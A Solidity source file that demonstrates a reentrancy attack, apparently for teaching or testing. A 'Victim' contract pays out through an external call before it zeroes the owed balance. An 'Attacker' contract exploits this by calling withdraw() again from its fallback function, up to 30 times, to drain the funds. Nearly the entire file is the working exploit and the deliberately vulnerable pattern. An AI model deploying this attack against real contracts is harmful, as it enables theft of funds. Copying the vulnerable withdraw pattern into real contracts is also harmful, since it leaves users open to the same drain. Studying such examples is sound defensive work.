pragma solidity ^0.4.8;

contract Victim {

    uint public owedToAttacker;

    function Victim() {
        owedToAttacker =11;
    }

    function withdraw() {
        if (!msg.sender.call.value(owedToAttacker)()) revert();
        owedToAttacker = 0;
    }

    // deposit some funds for testing
    function deposit() payable {}

    function getBalance() public constant returns(uint) { return this.balance; }
}

contract Attacker {

    Victim v;
    uint public count;

    event LogFallback(uint count, uint balance);

    function Attacker(address victim) payable {
        v = Victim(victim);
    }

    function attack() {
        v.withdraw();
    }

    function () payable {
        count++;
        LogFallback(count, this.balance);
        // crude stop before we run out of gas
        if(count < 30) v.withdraw();
    }

    function getBalance() public constant returns(uint) { return this.balance; }

}